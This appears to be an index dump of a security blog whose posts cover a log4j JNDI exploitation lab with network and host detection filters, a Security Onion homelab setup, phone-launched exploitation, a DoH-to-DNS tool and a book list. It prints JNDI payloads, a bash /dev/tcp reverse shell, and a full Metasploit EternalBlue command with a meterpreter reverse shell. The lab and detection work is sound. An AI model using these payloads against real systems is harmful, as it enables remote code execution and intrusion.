a If we run JNDIExploit-1.3-SNAPSHOT.jar -u we see the list of endpoints we can specify. We need to match the a value to a legitimate endpoint that JDNIExploit is serving up. Edit apache-log4j-poc/src/main/java/log4j.java to call something that legit. Inside of the main class, I put a bunch of payloads so I can later compare what happens.\nlogger.error(\u0026#34;${jndi:ldap://127.0.0.1:1389/Basic/Command/whoami}\u0026#34;); logger.error(\u0026#34;${jndi:ldap://127.0.0.1:1389/Basic/Dnslog/---.canarytokens.com}\u0026#34;); // get your own token at https://canarytokens.org/generate# logger.error(\u0026#34;${jndi:ldap://127.0.0.1:1389/Basic/Command/Base64/d2hvYW1pCg==}\u0026#34;); // whoami logger.error(\u0026#34;${jndi:ldap://127.0.0.1:1389/Basic/ReverseShell/127.0.0.1/4444}\u0026#34;); logger.error(\u0026#34;${jndi:ldap://127.0.0.1:1389/Basic/TomcatEcho}\u0026#34;); logger.error(\u0026#34;${jndi:ldap://127.0.0.1:1389/Deserialization/CommonsCollectionsK1/Dnslog/---.canarytokens.com}\u0026#34;); logger.error(\u0026#34;${jndi:ldap://127.0.0.1:1389/TomcatBypass/Dnslog/---.canarytokens.com}\u0026#34;); logger.error(\u0026#34;${jndi:ldap://127.0.0.1:1389/WebsphereBypass/Upload/Dnslog/---.canarytokens.com}\u0026#34;); logger.error(\u0026#34;${jndi:ldap://127.0.0.1:1389/TomcatBypass/Dnslog/---.canarytokens.com}\u0026#34;); Once edited, we call mvn clean package again and then re-run the jar. This time, we see errors like 01:31:06.557 [main] ERROR log4j - Reference Class Name: foo, however we get successful connections to JDNIExploit that look like:\n[+] Sending LDAP ResourceRef result for Basic/Command/Base64/d2hvYW1pCg== with basic remote reference payload [+] Send LDAP reference result for Basic/Command/Base64/d2hvYW1pCg== redirecting to http://0.0.0.0:3456/ExploittvsunipOlR.class If we had a packet capture running at this point, we\u0026rsquo;d see that the LDAP server is being connected to, but that HTTP server running on 3456/tcp is not being connected to. It turns out we\u0026rsquo;ve known since 2016 that JDNI is a vector for exploitation, and since Java 8u191 the default has been to not connect to URLs provided in a JNDI string. So we need to add System.setProperty(\u0026quot;com.sun.jndi.ldap.object.trustURLCodebase\u0026quot;,\u0026quot;true\u0026quot;); to log4j.java, before we call logger.\nNow everything should work. I\u0026rsquo;ll start tcpdump to capture packets before re-running the vulnerable jar (tcpdump -i lo -s 65535 -w /home/user/ldap.pcap tcp port 1389 or tcp port 3456), and start a netcat listener to catch the reverse shell (nc -nvlp 4444). This time, both the LDAP and HTTP servers receive connections, you will trigger the DNS canary token, and receive a reverse shell to your listener.\nObservables Killchain scenarios How can we detect or hunt for this activity? There are 2 scenarios that I\u0026rsquo;ve identified so far. Scenario 1 involves the LDAP JNDI lookup returning a javaNamingReference object that specifies a “second stage”. Two network connections are initiated from the vulnerable machine in this scenario - one to an LDAP server to perform the lookup, and a second to an HTTP server to download a Java object. This is the scenario demonstrated by the PoC (https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce). In the JNDIExploit framework, the “Basic” payloads use this scenario. We can see this in the following PCAP screenshot.\nA flow chart of this scenario looks like:\nScenario 2 is where the LDAP JNDI lookup returns a javaSerializedData object. Only one network connection is made in this scenario. The searchResEntry object contains an attribute javaSerializedData which is exactly that - serialized Java bytecode. This bytecode is deserialized by log4j and executed. Its flow chart:\nDetections Network Can we detect malicious input? The whole purpose of log4j is to log, so the malicious input is going somewhere. Is that log being centralized and indexed? Can we prevent the attack at (1)? Maybe. If the input vector is in line with something like a Web App Firewall (WAF), you might be able to block it before it gets to the vulnerable function. However, not every implementation has that opportunity, and even if you do, there are a lot of permutations that could make blocking with a WAF hard. A lot of the detection work that I\u0026rsquo;ve seen is focused on the input. This makes sense, because we want to prevent the attack from happening in the first place. My personal opinion is that this is a whackamole approach of trying to detect each new bypass technique as it is developed.\nCan we detect the LDAP queries? By default, yes we should be able to. LDAP normally occurs over 389/tcp. However, we saw with JNDIExploit that it was running LDAP on 1389. Changing the port can obscure the traffic, but a protocol dissector can still identify LDAP since it is clear text. We can inspect outgoing traffic for LDAP using a tool like Suricata, and potentially block once it is observed.\nLooking through the PCAPs that were made earlier, we can observe that there are a sequence of bytes in the packet payload that are the same for every LDAP packet. We\u0026rsquo;ll call these magic bytes since they fingerprint the protocol. In Wireshark, the following display filter showed only the LDAP queries.\ndata[0:1] == 0x30 \u0026amp;\u0026amp; (data[2:4] == 02.01.02.63 || data[3:4] == 02.01.02.63)\nIn this screenshot we see these values highlighted in the hex dump. I\u0026rsquo;m not sure why the 02.01.02.63 sequence occurs sometimes at offset 0x2 and sometimes at 0x3.\nCan we detect the LDAP responses? Remember there are two scenarios. One is a response with javaSerializedData and the other is javaNamingReference. The observed magic bytes for javaSerializedData are ac:ed:00:05:73:72:00. A Wireshark display filter is:\ndata[0:1] == 0x30 \u0026amp;\u0026amp; data[1:1] == 0x82 \u0026amp;\u0026amp; tcp contains ac:ed:00:05:73:72:00\nFor javaNamingReference, it is the string \u0026ldquo;javaNamingReference\u0026rdquo;. In Wireshark that\u0026rsquo;s:\ndata[0:1] == 0x30 \u0026amp;\u0026amp; data[1:1] == 0x81 \u0026amp;\u0026amp; tcp contains 6a:61:76:61:4e:61:6d:69:6e:67:52:65:66:65:72:65:6e:63:65\nCan we detect the HTTP transfer of Java bytecode? By default, yes we should be able to. HTTP is cleartext. I think due to the presence of HTTP headers, Wireshark was able to automatically decode traffic over 3456/tcp. Zeek/Suricata may be able to do this as well. If so, it should be fairly simple to look for Java bytecode being sent over the wire. This Wireshark filter will show the Java magic bytes 0xcafebabe being sent:\ndata.data[0:4] == ca:fe:ba:be\nAnd Zeek successfully sees the file:\nHost What can we detect on host? This is the tough one. On one hand, you can detect \u0026ldquo;weak\u0026rdquo; attacks that spawn new processes. Here is the process list (ps -efwwwH) from the reverse shell:\nroot 9171 1 0 01:38 pts/4 00:00:00 /bin/bash -c /bin/bash -i \u0026gt;\u0026amp; /dev/tcp/10.10.10.146/4444 0\u0026gt;\u0026amp;1 root 9172 9171 0 01:38 pts/4 00:00:00 /bin/bash -i root 9194 9172 0 01:38 pts/4 00:00:00 ps -efwwwH The clear indicator is the /dev/tcp trick to create a TCP connection. Here, bash is a child of init. This may be implementation specific. The PoC is a single function .jar file. Once the java process exits, its children (bash in this case) are reaped and inherited by init. On a \u0026ldquo;real\u0026rdquo; server application, the java process is not likely to exit after log4j is called, so the process tree will look different. What we should see in that case is java as the parent of bash. After modifying the PoC to sleep for 10 minutes after calling the logger function, that\u0026rsquo;s exactly what we see:\nroot 10926 10770 7 14:31 pts/5 00:00:00 java -jar target/log4j-rce-1.0-SNAPSHOT.jar root 10948 10926 0 14:31 pts/5 00:00:00 ping -c 1 ---.canarytokens.com root 10956 10926 0 14:31 pts/5 00:00:00 /bin/bash -c /bin/bash -i \u0026gt;\u0026amp; /dev/tcp/10.10.10.146/4444 0\u0026gt;\u0026amp;1 root 10957 10956 0 14:31 pts/5 00:00:00 /bin/bash -i root 10975 10957 0 14:31 pts/5 00:00:00 ps -efwwwH Snort rules I\u0026rsquo;ve turned the Wireshark display filters above into Snort rules. They can be found in this repo: kimobu/cve-2021-44228\nChangelog 12/12/2021 - updated with additional detection information\n","permalink":"https://www.kimobu.space/posts/log4j-JDNI-Exploitation/","summary":"\u003ch1 id=\"situation\"\u003eSituation\u003c/h1\u003e\n\u003cp\u003eA \u003ca href=\"https://www.lunasec.io/docs/blog/log4j-zero-day/\"\u003eremote code execution (RCE) bug was found in log4j\u003c/a\u003e. \u003ca href=\"https://nvd.nist.gov/vuln/detail/CVE-2021-44228\"\u003eCVE 2021-44228\u003c/a\u003e has been assigned to it. The vulnerability lies in how log4j interprets Java Naming and Directory Interface (JNDI) URLs. JNDI lets an application look up a service. An attacker can craft a string that looks like \u0026ldquo;${jndi:proto://host/a}\u0026rdquo; where \u003ccode\u003eproto\u003c/code\u003e is ldap or rmi, and log4j will connect to the \u003ccode\u003ehost\u003c/code\u003e to retrieve \u003ccode\u003ea\u003c/code\u003e, which would specify how to process the log entry. However, \u003ccode\u003ea\u003c/code\u003e can instead provide Java bytecode that log4j will execute.\u003c/p\u003e","title":"log4j JNDI Exploitation"},{"content":"Security Onion on Proxmox I originally set up my homelab using Ovirt, but have since switched back to Proxmox. The reason for that is that the version of qemu that Ovirt ships with does not support the \u0026ldquo;applesmc\u0026rdquo; device that is needed to run macOS guests, whereas Proxmox does. Another benefit is that Proxmox supports running containers, while Ovirt required full virtual machines, and Proxmox is overall much faster at every day tasks like starting or migrating a VM. I kept the same infrastructure as before, including using Gluster as shared storage amongst the compute nodes.\nWhat I want to do in this post is walk through how Security Onion is setup. I had previously used a port mirror from my Ubiquiti switch to send a copy of all traffic to a port which connected, via a USB3 Ethernet device, to my Security Onion VM. I now have a dedicated range network for running tests and practicing in.\nThere are some great blogs here, here, and here that helped set this up in different ways. None of them were perfect for my particular case because of my multinode setup and using link aggregation on the two NICs that are on each Proxmox node. For example, I could not use an Open VSwitch as I did not have a spare NIC to bridge the vswitch to.\npfsense setup To setup pfsense, I added three NICs. The first NIC uses VLAN70, which is the VLAN for my range, and includes a Kali VM and a redirector. The second NIC uses VLAN71, which is not a VLAN known to the Unifi equipment. VLAN71 is internal to Proxmox and is for vulnerable hosts. The third NIC uses VLAN20, which is a VLAN for span traffic of VLAN71.\nOn pfsense, those three NICs are mapped as vtnet0, vtnet1, and vtnet2, respectively. vtnet1 is known as WAN, vtnet2 as LAN, and vtnet3 as OPT1. OPT requires special configuration for this setup. The interface is configured by going to Interfaces -\u0026gt; OPT1.\nEnable: Checked I renamed OPT1 to ONION_SPAN by editing the Description field. IPv4 and IPv6 Configurations were set to None, since this interface is not actually used to transmit data. Next, I needed to create a bridge. Go to Interfaces -\u0026gt; Bridges -\u0026gt; Add.\nMember Interfaces: LAN Description: SPAN LAN to ONION_SPAN Span Port: ONION_SPAN Now when running tcpdump -vnni vtnet2 I could see a copy of every packet seen on the LAN interface.\nSecurity Onion Setup My original thought was that I should simply be able to see a copy of the traffic from that span port that was just configured. However, tcpdump -vnni eth1 would only show broadcast traffic. I tried running through some of the configs from the previously mentioned blogs, but since I couldn\u0026rsquo;t use Open VSwitch, I had to find something else. This site has an example of using the tc utility to mirror traffic, so I tried that to no avail.\nLooking at the interfaces on prox1, I saw the following, which indicate the VLANs in use:\n18: vmbr0v70: \u0026lt;BROADCAST,MULTICAST,UP,LOWER_UP\u0026gt; mtu 1500 qdisc noqueue state UP group default qlen 1000 link/ether 70:85:c2:d0:e3:22 brd ff:ff:ff:ff:ff:ff 21: vmbr0v71: \u0026lt;BROADCAST,MULTICAST,UP,LOWER_UP\u0026gt; mtu 1500 qdisc noqueue state UP group default qlen 1000 link/ether 70:85:c2:d0:e3:22 brd ff:ff:ff:ff:ff:ff 24: vmbr0v20: \u0026lt;BROADCAST,MULTICAST,UP,LOWER_UP\u0026gt; mtu 1500 qdisc prio state UP group default qlen 1000 link/ether 70:85:c2:d0:e3:22 brd ff:ff:ff:ff:ff:ff 28: vmbr0v72: \u0026lt;NO-CARRIER,BROADCAST,MULTICAST,UP\u0026gt; mtu 1500 qdisc noqueue state DOWN group default qlen 1000 link/ether 00:00:00:00:00:00 brd ff:ff:ff:ff:ff:ff Running tcpdump on vmbr0v20 showed a copy of my traffic, so I knew that the data was making it \u0026ldquo;up\u0026rdquo; from the pfsense VM to the hypervisor, it just wasn\u0026rsquo;t making it to the tap interface that was attached to the Security Onion VM. These devices can be further enumerated with brctl show. Looking at the help for brctl, there\u0026rsquo;s a setageing option. Matching that to this page, I tried setting that to 0 with brctl setageing vmbr0v20 0. I could now see all the traffic in my Security Onion VM 🙂\nTuning Last is getting rid of some of my non-lab traffic that might get picked up by the promiscuous sniffing.\nvim /opt/so/saltstack/local/pillar/global.sls steno: bpf: - not udp port 5353 \u0026amp;\u0026amp; - not net 10.10.10.0/24 \u0026amp;\u0026amp; - not net 10.10.30.0/24 nids: bpf: - not udp port 5353 \u0026amp;\u0026amp; - not net 10.10.10.0/24 \u0026amp;\u0026amp; - not net 10.10.30.0/24 zeek: bpf: - not udp port 5353 \u0026amp;\u0026amp; - not net 10.10.10.0/24 \u0026amp;\u0026amp; - not net 10.10.30.0/24 Updated configuration 2023-06-13 After making some changes to my homelab I had to reconfigure this setup. Here\u0026rsquo;s a simplified guide for setups where Security Onion and the guest network are on the same Proxmox host.\nStep 1: Create a Linux VLAN Proxmox node -\u0026gt; System -\u0026gt; Network -\u0026gt; Create -\u0026gt; Linux VLAN Name: vmbr0.XX where XX is your VLAN tag Vlan raw device: vmbr0\nStep 2: Create a Linux Brdige Proxmox node -\u0026gt; System -\u0026gt; Network -\u0026gt; Create -\u0026gt; Linux Bridge Name: vmbr1 Bridge ports: vmbr0.XX\nStep 3: Modify VM hardware pfSense: Edit the Network Device used for the span. Bridge: vmbr1 VLAN Tag: XX\nSecurity Onion: Edit the Network Device used for the tap. Bridge: vmbr1 VLAN Tag: XX\nStep 4: Set ageing brctl setageing vmbr1 0\n/etc/network/interfaces should look like this:\nauto vmbr0.45 iface vmbr0.45 inet manual auto vmbr1 iface vmbr1 inet manual bridge-ports vmbr0.45 bridge-stp off bridge-fd 0 bridge-vlan-aware yes bridge-vids 2-4094 ","permalink":"https://www.kimobu.space/posts/Security-Onion-Proxmox/","summary":"\u003ch1 id=\"security-onion-on-proxmox\"\u003eSecurity Onion on Proxmox\u003c/h1\u003e\n\u003cp\u003eI originally set up my homelab using Ovirt, but have since switched back to Proxmox. The reason for that is that the version of qemu that Ovirt ships with does not support the \u0026ldquo;applesmc\u0026rdquo; device that is needed to run macOS guests, whereas Proxmox does. Another benefit is that Proxmox supports running containers, while Ovirt required full virtual machines, and Proxmox is overall much faster at every day tasks like starting or migrating a VM. I kept the same infrastructure as before, including using Gluster as shared storage amongst the compute nodes.\u003c/p\u003e","title":"Security Onion on Proxmox"},{"content":"In a recent demonstration of cyber and electronic warfare capabilities, I had the opportunity to enable access into a network by exploiting a computer remotely through a cell phone. In this blog post, I’ll document some of the challenges that were encountered and how they were overcome.\nScenario The scenario for this demonstration was: an offensive cyber operations team wants to gain access into a targeted computer network which includes a wireless access point. The targeted network is firewalled and NAT’d, and social engineering techniques such as spear phishing have been unsuccessful. In order to gain access into the network, a human source is used to approach the facility that houses the network (think a residential building) and gains close enough proximity to sense the radio frequency (RF) emissions from the facility.\nIn this scenario, the human source cannot get a laptop into range of the WiFi emissions, but something smaller like a phone can be brought close enough. A partner organization (undisclosed due to NDA) provides an application for rooted Android devices that can control the radios on that Android device for sampling the RF spectrum. The human source does not necessarily know how to hack and may not be able to do so surreptitiously, but that tool also enables terminal access to the cell phone. From that starting point, we made a concept of operations that is illustrated in the following picture, where a remote operator would connect to the terminal of the phone, then launch an attack over the wireless network to the targeted computer.\n(note: image lost to the ether)\nTaking a crawl, walk, run approach, this scenario had a pre-identified target connected to an unsecured wireless network. This was also a closed LAN, so the cloud in the above picture really represents a network created through five Linksys WRT54G routers, with one acting as a core router and the other four as boundary routers for different “cities”.\nKali Nethunter The first thing I wanted to figure out was how to launch an exploit from a cell phone. The Kali NetHunter project allows you to install Kali onto a cell phone, including the Metasploit framework. I had a rooted Android phone at my disposal which had Magisk installed. Conveniently, Magisk has a module for NetHunter, so I downloaded the module and rebooted the device.\nNetHunter uses a chroot to provide a filesystem to the utilities from the distribution. You have the option of downloading the chroot from within NetHunter or downloading one manually and moving it to /sdcard. I manually downloaded the full chroot, moved it to /sdcard and then selected it with the Kali Chroot Manager. Next, I had to install a terminal emulator. I tried the Terminal Emulator for Android app, but Kali would not recognize it. The solution that worked for me was to download the NetHunter Store and then install NetHunter Terminal from it.\nAccessing Kali Utilities Outside of NetHunter Terminal The second thing I wanted to do was figure out how to access Kali utilities without launching the NetHunter Terminal. The remote terminal access to the phone did not have full interactive capabilities but provided the ability to launch arbitrary shell commands. Looking into the Kali NetHunter scripts, I found the chroot contents got extracted to /data/local/nhsystem/kali-armhf. The chroot help page says that I can execute commands as chroot /path/to/chroot cmd args. Combining that knowledge, I ran a test command which simply echo’d from the chroot. Next was to craft a single command to execute a Metasploit command. The msfconsole -x command lets you “execute the specified string as a console command”. You can chain those strings together with semi-colons. For example, to craft a whole exploit you might use it as msfconsole -x \u0026quot;use exploit; set target; set payload; exploit\u0026quot;.\nSIGHUP With a proof of concept for launching a Metasploit command from a remote session on the phone, we started doing mission rehearsal. During this time, I realized that I wouldn’t be able to launch the command once the phone had been joined to the Wifi network. The app that we were using to control the radios and to provide remote access did not have the ability to direct certain traffic (our C2 channel) through the cellular radio and other traffic (Metasploit) through the Wifi radio. “No problem”, we thought, just put a delay on command execution, as in sleep 30; msfconsole -s. Unfortunately, when the network changed from cell to Wifi, our TCP connection to the phone was severed, generating a SIGHUP which resulted in the whole process tree being killed. Thankfully, it is easy to prevent a process from dying when it receives the SIGHUP by using the nohup command and that command was present on the Android phone. The full command became:\nnohup /bin/sh -c \u0026#34;sleep 30; chroot /data/local/nhsystem/kali-armhf msfconsole -x \\\u0026#34;use exploit/windows/smb/ms17_010_eternalblue; set rhosts 192.168.10.4; set payload windows/x64/meterpreter/reverse_tcp; set lhost 192.168.1.10; set lport 4444; exploit\\\u0026#34;\u0026#34; \u0026amp; I kicked the command off, our close access operator connected the phone to the Wifi network, and soon we had a shell from the target back to a C2 node attached to the “core” Linksys router. In another test, we strapped the phone to a DJI drone and added the nmcli dev wifi connect network-ssid command to the previous command to switch networks.\nFuture Tests As noted earlier, this event was part of a series following the crawl, walk, run methodology. As the crawl step, this event used an open Wifi network and a simple off the shelf exploit. For future events, we’d be looking at performing a packet capture using the capabilities of the partner’s Android application or by adding Aircrack-ng to the phone. After obtaining a packet capture from the Wifi radio, the results would get exfiltrated back to the operations center, where the WPA2 pre-shared key could be cracked, and used to join the phone to the network. We could also do more work with specialized antennas to allow the drone to be at a greater stand off distance, reducing its observability and increasing its survivability.\n","permalink":"https://www.kimobu.space/posts/Hacking-a-Computer-Remotely-through-a-Phone/","summary":"\u003cp\u003eIn a recent demonstration of cyber and electronic warfare capabilities, I had the opportunity to enable access into a network by exploiting a computer remotely through a cell phone. In this blog post, I’ll document some of the challenges that were encountered and how they were overcome.\u003c/p\u003e\n\u003ch1 id=\"scenario\"\u003eScenario\u003c/h1\u003e\n\u003cp\u003eThe scenario for this demonstration was: an offensive cyber operations team wants to gain access into a targeted computer network which includes a wireless access point. The targeted network is firewalled and NAT’d, and social engineering techniques such as spear phishing have been unsuccessful. In order to gain access into the network, a human source is used to approach the facility that houses the network (think a residential building) and gains close enough proximity to sense the radio frequency (RF) emissions from the facility.\u003c/p\u003e","title":"Hacking a Computer Remotely through a Phone"},{"content":"In a previous post I wrote about investigations that I performed on DNS over HTTPS (DoH). That research was performed as part of Cyber Security Research. During Security Tool Development, I expanded on that research by implementing a Python script which creates DNS wire format packets from a DoH packet capture. This post describes how that script was made and how it works.\nUpdates to gen_doh.py In addition to the use of sslkeylog which was discussed in the previous post, I needed to update the client_protocol.py file. Line 45 of that file contains:\nsslctx = utils.create_custom_ssl_context( insecure=self.args.insecure, cafile=self.args.cafile ) Due to the use of self-signed certificates, insecure needs to be set to True. I could not find a code path which allowed me to do that, and therefore had to modify line 46 to explicitly do so.\nsslctx = utils.create_custom_ssl_context( insecure=True, cafile=self.args.cafile ) Once these changes are made, gen_doh.py can be used to generate the test data.\ndoh2dns.py Rommel once said \u0026ldquo;no plan survives contact with the enemy\u0026rdquo; and that is true in cyber security as well.\nInitial design goals My initial plan for extracting the information from the captured packets was to use the tshark command line utility to read the packets and use its ssl.keylog_file to decrypt those packets as I had previously done during CTF competitions. Once the capture file was read and decrypted, I would save the decrypted contents to a new .pcap. I could then process those packets, looking for DoH queries. However, I discovered that tshark decrypts packets for display, but does not actually buffer a decrypted packet which can be written to disk.\nOnce that was discovered, my new plan was to call tshark from a Python script and then parse the output of the command, using a regular expression to search for \u0026ldquo;GET.*dns=(.*)\\b\u0026rdquo;. This approach proved promising, as I was able to detect the queries. Further text processing was needed to extract the specific information that I wanted. This approach can be found in a previous commit.\nFinal design Thankfully, this class was collaborative in nature and a fellow student suggested that I look into the pyshark package. Pyshark is a Python wrapper for tshark and allows for decrypted packets to be buffered in memory. With Pyshark, I could perform the programatic packet interactions that I wanted. With this package, the new workflow became:\nRead a Pcap Correlate packet streams Find DoH answers Recreate DNS packets with Scapy Retransmit DNS packets Reading the Pcap and Correlating Streams def get_streams(): print(\u0026#34;[+] Retrieving streams\u0026#34;) cap = pyshark.FileCapture(args.pcap, override_prefs={ \u0026#39;tls.keylog_file\u0026#39;: args.sslkeylogfile }) cap.load_packets() streams = {} for packet in tqdm(cap, bar_format=\u0026#34;{l_bar}{bar}\u0026#34;): if packet.__contains__(\u0026#39;http2\u0026#39;): if packet.http2.streamid in streams: streams[packet.http2.streamid].append(packet) else: streams[packet.http2.streamid] = [] streams[packet.http2.streamid].append(packet) print(f\u0026#34;[+] Identified {len(streams)} different streams\u0026#34;) return streams In this first code block, the script reads the Pcap and correlates the streams. The Pcap is ready by using pyshark\u0026rsquo;s FileCapture() method. The first argument is the Pcap file to read. I also supply a second argument, override_prefs, which sets additional options to control how the method functions by passing a dictionary of options. In this case, \u0026rsquo;tls.keylog_file\u0026rsquo; is used to specify the keylog file to decrypt the packets. Once the FileCapture object is created, its load_packets() method is used to read the packets from disk.\nNext, tqdm() is used to display a progress bar for the processing of packets. The script iterates each packet and uses the __contains__() method to look for the HTTP2 protocol, which is the protocol used by DoH. If the packet uses the HTTP2 protocol, the packet is appended to a list of packets sharing the same streamid.\nFinding DoH answers def process_streams(streams): print(\u0026#34;[ ] Finding DNS answers...\u0026#34;) dns_answers = [] for streamid, packets in tqdm(streams.items(), bar_format=\u0026#34;{l_bar}{bar}\u0026#34;): for packet in tqdm(packets, bar_format=\u0026#34;{l_bar}{bar}\u0026#34;): if packet.__contains__(\u0026#39;http2\u0026#39;): if packet.http2.get_field(\u0026#39;dns_a\u0026#39;)\\ or packet.http2.get_field(\u0026#39;dns_aaaa\u0026#39;)\\ or packet.http2.get_field(\u0026#39;dns.count.answers\u0026#39;) == \u0026#39;0\u0026#39;: # An answer was found. # We can reconstruct a DNS packet using this information. packetdata = {} # Client and Server fields are reversed packetdata[\u0026#39;client\u0026#39;] = packet.ip.dst packetdata[\u0026#39;server\u0026#39;] = packet.ip.src packetdata[\u0026#39;query\u0026#39;] =\\ packet.http2.get_field(\u0026#39;dns_qry_name\u0026#39;) if packet.http2.get_field(\u0026#39;dns_a\u0026#39;): packetdata[\u0026#39;answer\u0026#39;] =\\ packet.http2.get_field(\u0026#39;dns_a\u0026#39;) or \u0026#34;NXDOMAIN\u0026#34; packetdata[\u0026#39;type\u0026#39;] = \u0026#39;A\u0026#39; else: packetdata[\u0026#39;answer\u0026#39;] =\\ packet.http2.get_field(\u0026#39;dns_aaaa\u0026#39;) or \u0026#34;NXDOMAIN\u0026#34; packetdata[\u0026#39;type\u0026#39;] = \u0026#39;AAAA\u0026#39; dns_answers.append(packetdata) print(f\u0026#34;[+] Found {len(dns_answers)} DNS answers\u0026#34;) return dns_answers The next step is to find DoH answers. The script accomplishes this by iterating each stream and then each packet. In each HTTP2 packet, it looks for one of the following fields: \u0026lsquo;dns_a\u0026rsquo; for A records, \u0026lsquo;dns_aaaa\u0026rsquo; for AAAA records, and \u0026lsquo;dns.count.answers\u0026rsquo; for NX records.\nIf an answer is found, the script extracts useful information from the packet and creates a new object with that data. The \u0026lsquo;client\u0026rsquo; is the computer which initiated the DNS query and is retrieved from the packet\u0026rsquo;s destination IP address (since this packet is an answer, the destination is the client). The \u0026lsquo;server\u0026rsquo; is the packet\u0026rsquo;s source IP address. The \u0026lsquo;query\u0026rsquo; is retrieved from the HTTP2 field \u0026lsquo;dns_qry_name\u0026rsquo; and indicates the hostname that was queried, e.g. www.example.com. The \u0026rsquo;type\u0026rsquo; is set appropriately based on IPv4 or IPv6 answers from the packet. Finally, the \u0026lsquo;answer\u0026rsquo; is either the answer from the DoH server or NXDOMAIN is \u0026lsquo;dns.count.answers\u0026rsquo; was set to 0.\nRecreate DNS Packets with Scapy and Retransmit the Query Scapy is a Python package which allows you to craft custom packets in Python. There are several uses for Scapy in the cyber security space. For example, in another class I built a Python script with Scapy to act as a Network Address Translation device by sniffing packets on one interface, modifying the packets, and then transmitting them out another interface. That work served as inspiration for this project.\ndef craft_query(packetdata): dns_query = IP(dst=packetdata[\u0026#39;server\u0026#39;], src=packetdata[\u0026#39;client\u0026#39;])\\ /UDP(sport=RandShort(), dport=53)\\ /DNS(rd=1, qd=DNSQR(qname=packetdata[\u0026#39;query\u0026#39;], qtype=packetdata[\u0026#39;type\u0026#39;])) return dns_query def replay_packet(packet): send(packet.getlayer(IP), iface=args.replay_interface, verbose=0) In craft_query() we pass the packet data extracted from the previous step and create a new DNS packet. The syntax to do this in Scapy is to call the IP() constructor and pass in the source and destination addresses. Then, call the UDP() constructor. The source port can be set to RandShort(), which will pick a random number from 0-65535. Using RandShort() was efficient but not necessarily effective - a better solution would have been to choose a number in the host operating system\u0026rsquo;s ephemeral port range. The destination port is set to 53, as that is what DNS typically uses. Lastly, call the DNS() constructor, setting recursive desired to 1 and the query and type as appropriate.\nWith a new packet in memory, the last action is to transmit the packet. Scapy\u0026rsquo;s send() function is used. The first option is the packet, starting at the IP layer and allowing the operating system to handle layers below that. The second option defines the interface on which to transmit. The last option is verbosity. In this script, I do not display information about transmitted packets.\nConclusion At this point, packets would be transmitted out of another interface. My thought here is that the specified interface would feed onto a LAN monitored by a Network Monitoring System where any number of algorithms could be used to detect malicious activity. Future work in this project could include decrypting TLS 1.3 as well as real-time decryption of packets.\n","permalink":"https://www.kimobu.space/posts/Converting-DoH-to-DNS/","summary":"\u003cp\u003eIn a \u003ca href=\"/posts/Investigating-DoH/\"\u003eprevious post\u003c/a\u003e I wrote about investigations\nthat I performed on DNS over HTTPS (DoH). That research was performed as part of\n\u003ca href=\"https://catalog.dsu.edu/preview_course_nopop.php?catoid=32\u0026amp;coid=20604\"\u003eCyber Security Research\u003c/a\u003e. During\n\u003ca href=\"https://catalog.dsu.edu/preview_course_nopop.php?catoid=32\u0026amp;coid=20607\"\u003eSecurity Tool Development\u003c/a\u003e, I\nexpanded on that research by implementing a Python script which creates DNS wire\nformat packets from a DoH packet capture. This post describes how that script\nwas made and how it works.\u003c/p\u003e\n\u003ch1 id=\"updates-to-gen_dohpy\"\u003eUpdates to gen_doh.py\u003c/h1\u003e\n\u003cp\u003eIn addition to the use of \u003ccode\u003esslkeylog\u003c/code\u003e which was discussed in the previous post, I needed to update the \u003ccode\u003eclient_protocol.py\u003c/code\u003e file. Line 45 of that file contains:\u003c/p\u003e","title":"Converting DoH to DNS"},{"content":" Cult of the Dead Cow: How the Original Hacking Supergroup Might Just Save the World American Revolutions: A Continental History, 1750-1804 For Whom the Bell Tolls Benjamin Franklin: An American Life Rise and Kill First: The Secret History of Israel\u0026rsquo;s Targeted Assassinations Places and Names: On War, Revolution, and Returning Better: A Surgeon\u0026rsquo;s Notes on Performance Alone at Dawn: Medal of Honor Recipient John Chapman and the Untold Story of the World\u0026rsquo;s Deadliest Special Operations Force Call Sign Chaos: Learning to Lead The Moment of Lift: How Empowering Women Changes the World A Gentleman in Moscow: A Novel Heartland: A Memoir of Working Hard and Being Broke in the Richest Country on Earth Why We Sleep: Unlocking the Power of Sleep and Dreams Talking to Strangers: What We Should Know About the People We Don\u0026rsquo;t Know The Strange Order of Things: Life, Feeling, and the Making of Cultures Sea Stories: My Life in Special Operations Sandworm: A New Era of Cyberwar and the Hunt for the Kremlin\u0026rsquo;s Most Dangerous Hackers The Righteous Mind: Why Good People Are Divided by Politics and Religion Never Lost Again: The Google Mapping Revolution That Sparked New Industries and Augmented Our Reality Mastery I\u0026rsquo;ll Be Gone in the Dark: One Woman\u0026rsquo;s Obsessive Search for the Golden State Killer The Body: A Guide for Occupants Snow Crash White Fragility: Why It\u0026rsquo;s So Hard for White People to Talk About Racism Catch and Kill: Lies, Spies, and a Conspiracy to Protect Predators Burn-In: A Novel of the Real Robotic Revolution On Corruption in America: And What Is at Stake With the Old Breed: At Peleliu and Okinawa The Art of Intelligence: Lessons from a Life in the CIA\u0026rsquo;s Clandestine Service Active Measures: The Secret History of Disinformation and Political Warfare The President Is Missing: A Novel The above are Amazon affiliate links. As an Amazon Associate I earn from qualifying purchases.\n","permalink":"https://www.kimobu.space/posts/Books-of-2020/","summary":"\u003col\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Cult-of-Dead-Cow-Joseph-Menn-audiobook/dp/B07RX456JM?tag=kimobu-20\"\u003eCult of the Dead Cow: How the Original Hacking Supergroup Might Just Save the World\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/American-Revolutions-Alan-Taylor-audiobook/dp/B01KU11WS2?tag=kimobu-20\"\u003eAmerican Revolutions: A Continental History, 1750-1804\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Whom-Bell-Tolls-Ernest-Hemingway/dp/0684803356?tag=kimobu-20\"\u003eFor Whom the Bell Tolls\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Benjamin-Franklin-An-American-Life/dp/B004VLETYM?tag=kimobu-20\"\u003eBenjamin Franklin: An American Life\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Rise-and-Kill-First-Ronen-Bergman-audiobook/dp/B0797LD93S?tag=kimobu-20\"\u003eRise and Kill First: The Secret History of Israel\u0026rsquo;s Targeted Assassinations\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca 